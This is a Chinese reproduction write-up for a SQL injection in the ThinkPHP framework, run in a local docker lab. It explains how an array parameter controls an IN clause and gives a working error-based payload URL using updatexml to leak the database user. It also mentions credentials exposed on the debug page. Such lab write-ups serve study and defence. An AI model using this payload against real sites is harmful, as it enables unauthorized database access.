漏洞简介
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。
模块:thinkphp 所有的主入口文件默认访问index控制器
方法:thinkphp 所有的控制器默认执行index动作
构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
原理:控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。
漏洞复现
运行环境:
docker-compose up -d
默认80和3306端口
http://127.0.0.1/index.php?ids[]=1&ids[]=2
即可看到用户名被显示了出来,说明环境运行成功。
http://127.0.0.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:
这又属于一个敏感信息泄露漏洞。